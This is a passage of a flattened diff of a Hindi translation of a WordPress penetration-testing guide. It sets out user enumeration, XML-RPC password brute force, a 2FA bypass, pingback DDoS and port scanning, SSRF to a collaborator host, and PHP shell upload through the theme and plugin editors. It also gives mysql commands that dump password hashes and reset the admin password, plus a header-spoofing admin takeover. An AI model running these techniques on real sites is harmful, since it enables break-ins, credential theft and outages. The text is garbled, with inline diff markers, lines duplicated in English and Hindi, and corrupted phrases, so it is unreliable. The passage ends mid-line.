अपने खुद के posts को प्रकाशित और प्रबंधित करता है -- **Contributor**: अपने posts लिखता और प्रबंधित करता है लेकिन उन्हें प्रकाशित नहीं कर सकता -- **Subscriber**: पोस्ट ब्राउज़ करता है और अपना प्रोफाइल संपादित कर सकता है +- **Editor**: अपने और दूसरों के पोस्ट प्रकाशित और प्रबंधित करता है +- **Author**: अपने स्वयं के पोस्ट प्रकाशित और प्रबंधित करता है +- **Contributor**: पोस्ट लिखता और प्रबंधित करता है पर उन्हें प्रकाशित नहीं कर सकता +- **Subscriber**: पोस्ट ब्राउज़ करता है और अपनी प्रोफ़ाइल संपादित कर सकता है ## **Passive Enumeration** ### **Get WordPress version** -जांचें कि क्या आप `/license.txt` या `/readme.html` फ़ाइलें ढूँढ़ सकते हैं +Check if you can find the files `/license.txt` or `/readme.html` -पेज के **source code** के अंदर (उदाहरण [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): +Inside the **स्रोत कोड** of the page (example from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): - grep ```bash @@ -72,46 +72,46 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -### सामान्य तौर पर संस्करण निकालना +### सामान्य रूप से संस्करण निकालें ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -## Active enumeration +## सक्रिय अनुक्रमण -### Plugins and Themes +### Plugins और Themes -शायद आप सभी Plugins और Themes को खोज पाना संभव नहीं होगा। इन्हें खोजने के लिए, आपको **actively Brute Force a list of Plugins and Themes** करना होगा (आशा है कि हमारे लिए ऐसे स्वचालित टूल मौजूद हैं जिनमें ये सूचियाँ होती हैं)। +आप संभवतः सभी Plugins और Themes खोज पाने में सक्षम नहीं होंगे। उन्हें खोजने के लिए, आपको **actively Brute Force a list of Plugins and Themes** करने की आवश्यकता होगी (खुशकिस्मती से हमारे लिए ऐसे स्वचालित टूल्स मौजूद हैं जिनमें ये सूचियाँ होती हैं)। -### उपयोगकर्ता +### Users -- **ID Brute:** आप WordPress साइट से वैध उपयोगकर्ता Brute Forcing users IDs करके प्राप्त करते हैं: +- **ID Brute:** Brute Forcing द्वारा users IDs निकाल कर आप किसी WordPress साइट के वैध users प्राप्त कर सकते हैं: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` -यदि response कोड **200** या **30X** हैं, तो इसका मतलब है कि id **मान्य** है। यदि response कोड **400** है, तो id **अमान्य** है। +यदि प्रतिक्रियाएँ **200** या **30X** हैं, तो इसका मतलब है कि id **मान्य** है। यदि प्रतिक्रिया **400** है, तो id **अमान्य** है। -- **wp-json:** आप उपयोगकर्ताओं के बारे में जानकारी प्राप्त करने के लिए क्वेरी कर सकते हैं: +- **wp-json:** आप उपयोगकर्ताओं के बारे में जानकारी प्राप्त करने के लिए क्वेरी करके भी कोशिश कर सकते हैं: ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` -एक और `/wp-json/` endpoint जो उपयोगकर्ताओं के बारे में कुछ जानकारी उजागर कर सकता है: +एक और `/wp-json/` endpoint जो उपयोगकर्ताओं के बारे में कुछ जानकारी प्रकट कर सकता है: ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -ध्यान दें कि यह एंडपॉइंट केवल उन उपयोगकर्ताओं को प्रदर्शित करता है जिन्होंने पोस्ट की है। **सिर्फ उन उपयोगकर्ताओं की जानकारी प्रदान की जाएगी जिनके लिए यह फीचर सक्षम है।** +Note that this endpoint only exposes users that have made a post. **केवल उन users की जानकारी प्रदान की जाएगी जिनके लिए यह feature सक्षम है।** -साथ ही ध्यान दें कि **/wp-json/wp/v2/pages** IP addresses को leak कर सकता है। +Also note that **/wp-json/wp/v2/pages** could leak IP addresses. -- **Login username enumeration**: जब **`/wp-login.php`** पर लॉगिन करते समय **संदेश** इस बात के अनुसार **अलग** होता है कि **उपयोगकर्ता नाम मौजूद है या नहीं**। +- **Login username enumeration**: जब **`/wp-login.php`** पर लॉगिन करते समय **message** **different** होता है — यह इस बात का संकेत देता है कि **username exists or not**। ### XML-RPC -यदि `xml-rpc.php` सक्रिय है, तो आप credentials brute-force कर सकते हैं या इसका उपयोग अन्य संसाधनों पर DoS attacks लॉन्च करने के लिए कर सकते हैं। (उदाहरण के लिए आप इस प्रक्रिया को स्वचालित कर सकते हैं [using this](https://github.com/relarizky/wpxploit))। +यदि `xml-rpc.php` सक्रिय है तो आप credentials brute-force कर सकते हैं या इसका उपयोग अन्य resources पर DoS attacks लॉन्च करने के लिए कर सकते हैं। (आप इस प्रक्रिया को उदाहरण के लिए [using this](https://github.com/relarizky/wpxploit) से automate कर सकते हैं)। To see if it is active try to access to _**/xmlrpc.php**_ and send this request: -**जाँच करें** +**जांचें** ```html system.listMethods @@ -122,7 +122,7 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request: **Credentials Bruteforce** -**`wp.getUserBlogs`**, **`wp.getCategories`** या **`metaWeblog.getUsersBlogs`** कुछ ऐसे मेथड हैं जिनका उपयोग brute-force credentials के लिए किया जा सकता है। यदि आप इनमें से कोई भी पा लेते हैं तो आप कुछ इस तरह भेज सकते हैं: +**`wp.getUserBlogs`**, **`wp.getCategories`** या **`metaWeblog.getUsersBlogs`** ऐसे कुछ methods हैं जिनका उपयोग credentials को brute-force करने के लिए किया जा सकता है। यदि आप इनमें से कोई भी पा लेते हैं तो आप कुछ इस तरह भेज सकते हैं: ```html wp.getUsersBlogs @@ -132,13 +132,13 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request: ``` -यदि क्रेडेंशियल्स वैध नहीं हैं तो 200 कोड रिस्पॉन्स के अंदर संदेश _"Incorrect username or password"_ दिखाई देना चाहिए। +संदेश _"Incorrect username or password"_ एक 200 code response के अंदर तब दिखाई देना चाहिए जब credentials वैध नहीं हैं। ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) -सही क्रेडेंशियल्स का उपयोग करके आप एक फ़ाइल अपलोड कर सकते हैं। प्रतिक्रिया में पथ दिखाई देगा ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) +सही credentials का उपयोग करके आप एक file अपलोड कर सकते हैं। response में path दिखाई देगा ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```html @@ -172,14 +172,14 @@ Also there is a **faster way** to brute-force credentials using **`system.multic
-**Bypass 2FA** +**2FA बायपास** -यह तरीका programs के लिए बनाया गया है और humans के लिए नहीं, और पुराना है, इसलिए यह 2FA को सपोर्ट नहीं करता। तो, अगर आपके पास वैध creds हैं पर मुख्य प्रवेश 2FA से सुरक्षित है, **तो आप xmlrpc.php का दुरुपयोग करके उन creds के साथ 2FA बाइपास करते हुए login करने में सक्षम हो सकते हैं**। ध्यान दें कि आप console के माध्यम से जो सभी actions कर सकते हैं वे सभी करने में सक्षम नहीं होंगे, लेकिन आप फिर भी RCE तक पहुँच सकते हैं जैसा Ippsec इसे [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) में समझाते हैं। +यह तरीका प्रोग्राम्स के लिए है न कि इंसानों के लिए, और पुराना होने के कारण यह 2FA को सपोर्ट नहीं करता। इसलिए, अगर आपके पास वैध क्रेडेंशियल्स हैं पर मुख्य लॉगिन 2FA से सुरक्षित है, **आप xmlrpc.php का दुरुपयोग करके उन क्रेडेंशियल्स से 2FA बायपास करते हुए लॉगिन कर सकते हैं**। ध्यान रखें कि आप कंसोल के माध्यम से जो सभी क्रियाएँ कर सकते हैं वे यहाँ संभव नहीं होंगी, पर आप फिर भी RCE तक पहुँच सकते हैं जैसा Ippsec ने [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) में समझाया है **DDoS or port scanning** -अगर आप list के अंदर _**pingback.ping**_ method पा लेते हैं तो आप Wordpress को किसी भी host/port पर arbitrary request भेजवा सकते हैं।\ -इसे इस्तेमाल करके आप **हज़ारों** Wordpress **sites** को किसी एक **location** को **access** करने के लिए कह सकते हैं (जिससे उस location पर **DDoS** हो सकता है) या आप इसे **Wordpress** को किसी internal **network** को **scan** कराने के लिए भी इस्तेमाल कर सकते हैं (आप किसी भी पोर्ट का संकेत दे सकते हैं)। +If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\ +This can be used to ask **हज़ारों** of Wordpress **साइट्स** to **एक तकाँच** (one **location**) को **एक्सेस** करने को कहें (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** को **स्कैन** करने के लिए किसी आंतरिक **नेटवर्क** को निर्देशित कर सकते हैं (आप कोई भी पोर्ट निर्दिष्ट कर सकते हैं)। ```html pingback.ping @@ -191,9 +191,9 @@ Also there is a **faster way** to brute-force credentials using **`system.multic ``` ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png) -यदि आपको **faultCode** का मान **0** से बड़ा (17) मिलता है, तो इसका मतलब है कि पोर्ट खुला है। +यदि आपको **faultCode** का मान **0** (17) से **बड़ा** मिलता है, तो इसका मतलब है कि पोर्ट खुला है। -पिछले सेक्शन में **`system.multicall`** के उपयोग को देखिए ताकि यह सीखा जा सके कि इस विधि का दुरुपयोग करके DDoS कैसे किया जा सकता है। +पिछले अनुभाग में **`system.multicall`** के उपयोग को देखें ताकि यह सीख सकें कि इस विधि का दुरुपयोग करके कैसे DDoS किया जा सकता है। **DDoS** ```html @@ -209,15 +209,15 @@ Also there is a **faster way** to brute-force credentials using **`system.multic ### wp-cron.php DoS -This file usually exists under the root of the Wordpress site: **`/wp-cron.php`**\ -जब इस फ़ाइल को **accessed** किया जाता है तो एक "**heavy**" MySQL **query** perform की जाती है, इसलिए इसे **attackers** द्वारा **cause** करने के लिए इस्तेमाल किया जा सकता है **DoS** के लिये।\ -डिफ़ॉल्ट रूप से, `wp-cron.php` हर पेज लोड पर कॉल किया जाता है (जब भी कोई क्लाइंट कोई भी Wordpress पेज रिक्वेस्ट करता है), जो हाई-ट्रैफ़िक साइट्स पर समस्याएँ (DoS) पैदा कर सकता है। +यह फ़ाइल आमतौर पर Wordpress साइट की रूट में मौजूद होती है: **`/wp-cron.php`**\ +जब इस फ़ाइल को **accessed** किया जाता है तो एक "**heavy**" MySQL **query** किया जाता है, इसलिए इसे **attackers** द्वारा **cause** करने के लिए उपयोग किया जा सकता है **DoS**.\ +इसके अलावा, डिफ़ॉल्ट रूप से, `wp-cron.php` को हर पेज लोड पर कॉल किया जाता है (जब भी कोई client किसी भी Wordpress पेज को requests करता है), जो high-traffic साइट्स पर समस्याएँ (DoS) पैदा कर सकता है। -सुझाव है कि Wp-Cron को निष्क्रिय करें और host के अंदर एक वास्तविक cronjob बनाएं जो आवश्यक क्रियाएँ नियमित अंतराल पर करे (बिना समस्याएँ उत्पन्न किए)। +सुझाव दिया जाता है कि Wp-Cron को disable कर दिया जाए और host के अंदर एक वास्तविक cronjob बनाया जाए जो आवश्यक क्रियाएँ नियमित अंतराल पर करे (बिना समस्याएँ पैदा किए). ### /wp-json/oembed/1.0/proxy - SSRF -कोशिश करें कि _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ को access करने की और Wordpress साइट संभवतः आप पर एक रिक्वेस्ट कर सकती है। +इस URL को access करने की कोशिश करें: _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ और Worpress साइट आपके पास request कर सकती है। This is the response when it doesn't work: @@ -230,130 +230,158 @@ This is the response when it doesn't work: https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} -यह टूल जाँचता है कि **methodName: pingback.ping** और path **/wp-json/oembed/1.0/proxy** मौजूद है या नहीं, और यदि मौजूद है तो यह इन्हें exploit करने की कोशिश करता है। +यह tool जाँचता है कि **methodName: pingback.ping** और path **/wp-json/oembed/1.0/proxy** मौजूद है और यदि मौजूद हो तो यह उन्हें exploit करने की कोशिश करता है। -## स्वचालित टूल्स +## ऑटोमैटेड टूल्स ```bash cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0" wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ``` -## एक बिट को ओवरराइट करके एक्सेस प्राप्त करें +## एक bit ओवरराइट करके पहुँच प्राप्त करें -असल हमले की तुलना में यह एक जिज्ञासा है। CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) में आप किसी भी wordpress फ़ाइल का 1 बिट flip कर सकते थे। इसलिए आप फ़ाइल `/var/www/html/wp-includes/user.php` के पोजिशन `5389` के बिट को flip करके NOT (`!`) ऑपरेशन को NOP कर सकते थे। +यह असल हमले से ज्यादा एक जिज्ञासा है। CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) में आप किसी भी wordpress फ़ाइल का 1 bit पलट सकते थे। तो आप फाइल `/var/www/html/wp-includes/user.php` की स्थिति `5389` का bit पलटकर NOT (`!`) ऑपरेशन को NOP कर सकते थे। ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` ## **पैनल RCE** -**थीम में उपयोग किए गए php को संशोधित करना (admin credentials आवश्यक)** +**थीम में इस्तेमाल किए गए php में संशोधन (admin credentials needed)** -Appearance → Theme Editor → 404 Template (दाईं तरफ़) +Appearance → Theme Editor → 404 Template (दाएँ तरफ) -php शेल के लिए कंटेंट बदलें: +php shell के लिए सामग्री बदलें: ![](<../../images/image (384).png>) -इंटरनेट पर खोजें कि आप उस अपडेट की गई पेज तक कैसे पहुँच सकते हैं। इस मामले में आपको यहाँ एक्सेस करना होगा: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +इंटरनेट पर खोजें कि आप उस अपडेट किए गए पेज तक कैसे पहुँच सकते हैं। इस मामले में आपको यहां एक्सेस करना होगा: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF -आप इस्तेमाल कर सकते हैं: +आप उपयोग कर सकते हैं: ```bash use exploit/unix/webapp/wp_admin_shell_upload ``` -to get a session. +सेशन प्राप्त करने के लिए। ## Plugin RCE ### PHP plugin -यह संभव हो सकता है कि .php फाइलों को एक plugin के रूप में अपलोड किया जा सके।\ -अपने php backdoor को उदाहरण के लिए बनाएं: +It may be possible to upload .php files as a plugin.\ +.php फाइलों को plugin के रूप में अपलोड करना संभव हो सकता है।\ +Create your php backdoor using for example: +उदाहरण के लिए अपना php backdoor बनाएं: ![](<../../images/image (183).png>) +Then add a new plugin: फिर एक नया plugin जोड़ें: ![](<../../images/image (722).png>) Upload plugin and press Install Now: +Plugin अपलोड करें और Install Now दबाएँ: ![](<../../images/image (249).png>) +Click on Procced: Procced पर क्लिक करें: ![](<../../images/image (70).png>) -शायद यह स्पष्ट रूप से कुछ नहीं करेगा, लेकिन अगर आप Media पर जाएं, तो आप अपना shell अपलोड हुआ देखेंगे: +Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded: +संभवतः इससे कुछ भी दिखाई नहीं देगा, लेकिन अगर आप Media में जाएँगे, तो आपको आपका shell अपलोड दिखाई देगा: ![](<../../images/image (462).png>) -इसे एक्सेस करें और आप reverse shell को execute करने के लिए URL देखेंगे: +Access it and you will see the URL to execute the reverse shell: +इसे एक्सेस करें और आपको reverse shell निष्पादित करने के लिए URL दिखाई देगा: ![](<../../images/image (1006).png>) ### Uploading and activating malicious plugin +### Malicious plugin को अपलोड और सक्रिय करना -यह तरीका एक vulnerable के रूप में जाना जाने वाले malicious plugin की installation में शामिल है और इसे exploit करके web shell प्राप्त किया जा सकता है। यह प्रक्रिया WordPress dashboard के माध्यम से निम्नानुसार की जाती है: +This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows: +यह विधि एक ऐसी malicious plugin की installation को शामिल करती है जो ज्ञात रूप से vulnerable है और जिसका प्रयोग web shell प्राप्त करने के लिए exploit किया जा सकता है। यह प्रक्रिया WordPress dashboard के माध्यम से निम्न प्रकार की जाती है: -1. **Plugin Acquisition**: Plugin को Exploit DB जैसे स्रोत से प्राप्त किया जाता है, जैसे [**here**](https://www.exploit-db.com/exploits/36374). +1. **Plugin Acquisition**: The plugin is obtained from a source like Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374). +1. **Plugin Acquisition**: plugin को Exploit DB जैसे स्रोत से प्राप्त किया जाता है, जैसे [**here**](https://www.exploit-db.com/exploits/36374). 2. **Plugin Installation**: -- WordPress dashboard पर जाएं, फिर `Dashboard > Plugins > Upload Plugin` पर जाएं। -- डाउनलोड की गई plugin की zip फ़ाइल अपलोड करें। -3. **Plugin Activation**: एक बार plugin सफलतापूर्वक इंस्टॉल हो जाने के बाद, इसे dashboard के माध्यम से activate करना होगा। +- Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin`. +- Upload the zip file of the downloaded plugin. +2. **Plugin Installation**: +- WordPress dashboard पर जाएँ, फिर `Dashboard > Plugins > Upload Plugin` पर जाएँ। +- डाउनलोड किए गए plugin का zip फ़ाइल अपलोड करें। +3. **Plugin Activation**: Once the plugin is successfully installed, it must be activated through the dashboard. +3. **Plugin Activation**: एक बार plugin सफलतापूर्वक install हो जाने पर, इसे dashboard के माध्यम से activate करना होगा। 4. **Exploitation**: -- जब plugin "reflex-gallery" इंस्टॉल और activated हो, तो इसे exploit किया जा सकता है क्योंकि यह vulnerable के रूप में जाना जाता है। -- Metasploit framework इस vulnerability के लिए एक exploit प्रदान करता है। उपयुक्त module लोड करके और specific commands execute करके, एक meterpreter session स्थापित किया जा सकता है, जो site तक unauthorized access देता है। -- ध्यान दें कि यह WordPress साइट को exploit करने के कई तरीकों में से सिर्फ एक है। +- With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable. +- The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site. +- It's noted that this is just one of the many methods to exploit a WordPress site. +4. **Exploitation**: +- "reflex-gallery" plugin install और activate होने पर exploit किया जा सकता है क्योंकि यह ज्ञात रूप से vulnerable है। +- Metasploit framework इस vulnerability के लिए एक exploit प्रदान करता है। उपयुक्त module लोड करके और specific commands execute करके, एक meterpreter session स्थापित किया जा सकता है, जो साइट तक unauthorized access प्रदान करता है। +- ध्यान दें कि यह WordPress साइट को exploit करने के कई तरीकों में से केवल एक है। -यह सामग्री WordPress dashboard में plugin इंस्टॉल और activate करने के चरणों का दृश्य प्रदर्शन करती है। हालाँकि, यह महत्वपूर्ण है कि बिना उचित अनुमति के इस तरह kwetsbaarताएँ exploit करना गैरकानूनी और अनैतिक है। इस जानकारी का उपयोग जिम्मेदारी से और केवल कानूनी संदर्भ में किया जाना चाहिए, जैसे explicit permission के साथ penetration testing। +The content includes visual aids depicting the steps in the WordPress dashboard for installing and activating the plugin. However, it's important to note that exploiting vulnerabilities in this manner is illegal and unethical without proper authorization. This information should be used responsibly and only in a legal context, such as penetration testing with explicit permission. +इस सामग्री में plugin को install और activate करने के WordPress dashboard के चरणों को दर्शाने वाले दृश्य साधन शामिल हैं। हालांकि, यह ध्यान रखना महत्वपूर्ण है कि बिना उचित authorization के vulnerabilities को इस तरह exploit करना illegal और unethical है। इस जानकारी का उपयोग जिम्मेदारी से और केवल कानूनी संदर्भ में किया जाना चाहिए, जैसे penetration testing के दौरान स्पष्ट अनुमति के साथ। **For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) ## From XSS to RCE +## XSS से RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ एक script है जिसे WordPress में Cross-Site Scripting (XSS) vulnerability को Remote Code Execution (RCE) या अन्य critical vulnerabilities में escalate करने के लिए डिज़ाइन किया गया है। अधिक जानकारी के लिए [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) देखें। यह **Wordpress Versions 6.X.X, 5.X.X और 4.X.X** का समर्थन प्रदान करता है और निम्न करने की अनुमति देता है: +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:** +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ एक ऐसा script है जो Cross-Site Scripting (XSS) vulnerability को Remote Code Execution (RCE) या अन्य critical vulnerabilities में escalate करने के लिए design किया गया है WordPress में। अधिक जानकारी के लिए देखें [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). यह Wordpress Versions 6.X.X, 5.X.X और 4.X.X के लिए support प्रदान करता है और निम्न की अनुमति देता है: - _**Privilege Escalation:**_ Creates an user in WordPress. +- _**Privilege Escalation:**_ WordPress में एक user बनाता है। - _**(RCE) Custom Plugin (backdoor) Upload:**_ Upload your custom plugin (backdoor) to WordPress. +- _**(RCE) Custom Plugin (backdoor) Upload:**_ अपना custom plugin (backdoor) WordPress पर upload करें। - _**(RCE) Built-In Plugin Edit:**_ Edit a Built-In Plugins in WordPress. +- _**(RCE) Built-In Plugin Edit:**_ WordPress में Built-In Plugins को edit करें। - _**(RCE) Built-In Theme Edit:**_ Edit a Built-In Themes in WordPress. +- _**(RCE) Built-In Theme Edit:**_ WordPress में Built-In Themes को edit करें। - _**(Custom) Custom Exploits:**_ Custom Exploits for Third-Party WordPress Plugins/Themes. +- _**(Custom) Custom Exploits:**_ Third-Party WordPress Plugins/Themes के लिए Custom Exploits। +## Post Exploitation ## Post Exploitation Extract usernames and passwords: +यूज़रनेम और पासवर्ड निकालें: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` -एडमिन का पासवर्ड बदलें: +admin password बदलें: ```bash mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" ``` ## Wordpress प्लगइन्स Pentest -### Attack Surface +### हमला सतह -यह जानना कि कोई Wordpress plugin किस तरह कार्यक्षमता को expose कर सकता है, उसकी functionality में कमजोरियाँ खोजने के लिए महत्वपूर्ण है। आप नीचे दिए गए बुलेट पॉइंट्स में देख सकते हैं कि एक plugin functionality को कैसे expose कर सकता है और vulnerable plugins के कुछ उदाहरण [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) में दिए गए हैं। +किस तरह एक Wordpress plugin अपनी functionality को एक्सपोज़ कर सकता है यह जानना उसकी functionality में मौजूद vulnerabilities खोजने के लिए महत्वपूर्ण है। आप नीचे दिए गए बुलेट पॉइंट्स में देख सकते हैं कि एक plugin किस तरह functionality एक्सपोज़ कर सकता है और कुछ vulnerable plugins के उदाहरण इस [**blog post**](https://nowotarski.info/wordpress-nonce-authorization/) में दिए गए हैं। - **`wp_ajax`** -एक तरीके जिनसे एक plugin functions को expose कर सकता है, वह AJAX handlers के माध्यम से होता है। इनमें logic, authorization, या authentication बग हो सकते हैं। इसके अलावा, अक्सर ये functions authentication और authorization दोनों को एक wordpress nonce की मौजूदगी पर आधारित करते हैं जो **any user authenticated in the Wordpress instance might have** (इसके role से स्वतंत्र)। + Plugin द्वारा functions एक्सपोज़ करने के तरीकों में से एक तरीका AJAX handlers के माध्यम से होता है। इनमें logic, authorization, या authentication बग हो सकते हैं। इसके अलावा, अक्सर ऐसा होता है कि ये functions authentication और authorization दोनों को एक wordpress nonce की मौजूदगी पर आधारित कर देते हैं जो **Wordpress instance में प्रमाणीकृत किसी भी उपयोगकर्ता के पास हो सकता है** (उसकी role की परवाह किए बिना)। -निम्नलिखित functions वे हैं जिन्हें एक plugin में एक फ़ंक्शन को expose करने के लिए इस्तेमाल किया जा सकता है: + ये वे functions हैं जिनका उपयोग plugin में किसी function को एक्सपोज़ करने के लिए किया जा सकता है: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` -**`nopriv` का उपयोग endpoint को किसी भी उपयोगकर्ता (यहाँ तक कि अप्रमाणित उपयोगकर्ताओं) के लिए सुलभ बनाता है।** +**`nopriv` का उपयोग endpoint को किसी भी उपयोगकर्ता के लिए एक्सेस योग्य बना देता है (यहाँ तक कि बिना प्रमाणीकृत उपयोगकर्ता भी)।** > [!CAUTION] -> इसके अलावा, अगर फ़ंक्शन केवल `wp_verify_nonce` फ़ंक्शन से उपयोगकर्ता के अधिकार की जाँच कर रहा है, तो यह फ़ंक्शन केवल यह जांचता है कि उपयोगकर्ता लॉग इन है; यह आम तौर पर उपयोगकर्ता की भूमिका की जाँच नहीं करता है। इसलिए कम-प्रिविलेज़ वाले उपयोगकर्ताओं को उच्च-प्रिविलेज़ वाली क्रियाओं तक पहुँच मिल सकती है। +> इसके अलावा, यदि फ़ंक्शन केवल `wp_verify_nonce` फ़ंक्शन के साथ उपयोगकर्ता के प्राधिकरण की जाँच कर रहा है, तो यह फ़ंक्शन केवल यह जाँचता है कि उपयोगकर्ता लॉग इन है; यह आम तौर पर उपयोगकर्ता की role की जाँच नहीं करता। इसलिए कम-विशेषाधिकार वाले उपयोगकर्ताओं के पास उच्च-विशेषाधिकार वाली क्रियाओं तक पहुँच हो सकती है। - **REST API** -यह भी संभव है कि `register_rest_route` फ़ंक्शन का उपयोग करके wordpress से फ़ंक्शन्स को REST API के माध्यम से एक्सपोज़ किया जाए: +यह भी संभव है कि wordpress से `register_rest_route` फ़ंक्शन का उपयोग करके REST API के ज़रिए फ़ंक्शन्स को एक्सपोज़ किया जाए: ```php register_rest_route( $this->namespace, '/get/', array( @@ -363,21 +391,21 @@ $this->namespace, '/get/', array( ) ); ``` -The `permission_callback` एक callback फ़ंक्शन है जो जांचता है कि दिया गया उपयोगकर्ता API मेथड को कॉल करने के लिए अधिकृत है या नहीं। +The `permission_callback` एक callback फ़ंक्शन है जो जांचता है कि कोई दिया गया user API method को कॉल करने के लिए authorized है या नहीं। -**यदि बिल्ट-इन `__return_true` फ़ंक्शन का उपयोग किया गया है, तो यह यूज़र परमिशन चेक को सीधे स्किप कर देगा।** +**अगर built-in `__return_true` function का उपयोग किया गया है, तो यह user permissions चेक को बस स्किप कर देगा।** -- **php फ़ाइल तक सीधे एक्सेस** +- **php फ़ाइल तक प्रत्यक्ष पहुँच** -बेशक, Wordpress PHP का उपयोग करता है और plugins के अंदर की फाइलें वेब से सीधे पहुँचने योग्य होती हैं। इसलिए, अगर कोई plugin कोई vulnerable functionality एक्सपोज़ कर रहा है जो सिर्फ फाइल को एक्सेस करने मात्र से ट्रिगर हो जाती है, तो वह किसी भी उपयोगकर्ता द्वारा exploitable होगी। +बेशक, Wordpress PHP का उपयोग करता है और plugins के अंदर की फ़ाइलें वेब से सीधे पहुँच योग्य होती हैं। इसलिए, अगर कोई plugin किसी भी vulnerable functionality को एक्सपोज़ कर रहा है जो केवल फ़ाइल तक पहुँचने मात्र से ट्रिगर हो जाती है, तो वह किसी भी user द्वारा exploit की जा सकती है। ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) -कुछ plugins internal integrations या reverse proxies के लिए “trusted header” shortcuts लागू करते हैं और फिर उस header का उपयोग REST requests के लिए current user context सेट करने में करते हैं। यदि वह header upstream component द्वारा request से cryptographically बाउंड नहीं है, तो एक attacker उसे spoof कर सकता है और administrator के रूप में privileged REST routes तक पहुँच सकता है। +कुछ plugins internal integrations या reverse proxies के लिए “trusted header” shortcuts लागू करते हैं और फिर REST requests के लिए current user context सेट करने के लिए उस header का उपयोग करते हैं। यदि header को किसी upstream component द्वारा cryptographically request से बाँधा नहीं गया है, तो एक attacker इसे spoof कर सकता है और privileged REST routes को administrator के रूप में हिट कर सकता है। -- प्रभाव: बिना प्रमाणीकरण के privilege escalation करके admin बनने का रास्ता — core users REST route के माध्यम से नया administrator बनाकर। -- Example header: `X-Wcpay-Platform-Checkout-User: 1` (यह user ID 1 जबरदस्ती सेट करता है, आम तौर पर पहला administrator अकाउंट)। -- Exploited route: `POST /wp-json/wp/v2/users` एक elevated role array के साथ। +- प्रभाव: core users REST route के माध्यम से नया administrator बनाकर unauthenticated privilege escalation के जरिए admin अधिकार प्राप्त होना। +- Example header: 